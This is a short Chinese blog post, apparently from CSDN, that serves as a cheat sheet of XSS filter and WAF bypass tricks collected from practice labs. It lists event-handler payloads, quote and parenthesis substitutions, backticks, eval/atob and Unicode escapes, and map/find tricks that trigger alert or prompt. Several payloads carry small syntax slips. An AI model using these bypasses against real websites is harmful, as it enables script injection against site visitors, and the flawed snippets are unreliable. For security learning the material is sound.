注:XSS我没有实战研究过所以大多都是靶场用的手法和别人的一些文章,可能实战的时候效果不好
1.绕过简单的xss防护
1.如果双引号被禁用就用单引号。
2.针对黑名单过滤,过滤一般不全,在过滤了img还有input或者div
3.过滤了onclik,onmouseover,可以尝试冷门的事件触发onmouseenter(注意冷门最好)
4.过滤了()可以尝试(),过滤了‘可以尝试反引号,这个是反引号`
5.过滤了alert,可以尝试confirm和prompt
6.大小写绕过
7.双写绕过
1.加上一个xmlns属性绕过
如果<svg onload="javascriptalert(1)">被拦截了
可以试试<svg onload="javascriptalert(1)"xmlns="https:www.baidu.com">
2.top绕过
方法是:
<details open ontoggle=top.alert(1)>
<details open ontoggle=top[‘prompt’](1)>
<details open ontoggle=top[‘al’%2b’ert’](1)> 注:%2b为url编码的+
3.eval函数执行
<details open ontoggle=top.eval(‘ale’%2B’rt(1)’) >
<details open ontoggle=eval(‘alert(1)’) >
eval拦截的话,可以试试,把 e Unicode编码
<details open ontoggle=\u0065val(atob(‘YWxlcnQoMSk=’)) >
4.拦截了alert
当alert不行,可以考虑的有prompt,confirm
<details open ontoggle=prompt(1)>
<button onfocus=prompt(1) autofocus>
<select autofocus onfocus=prompt(1)>
5.反引号
如果存在alert函数,但是Waf并不拦截。但是当加上()括号,就拦截了。可以不试试反引号。例子:
<details/open/ontoggle="alert`1`">
6.map绕过
map返回一个数组,传入一个函数。
[1].map(alert)依赖map的特性,可以避免alert函数后面带有()括号,以此触发规则。
其他的例子:
<details open ontoggle=[1].find(alert)>
<details open ontoggle=[1].%65very(alert)>
<details open ontoggle=[1].u0066orEach(alert)>
来源:CSDN
作者:fthgb
链接:https://blog.csdn.net/qq_30787769/article/details/103462709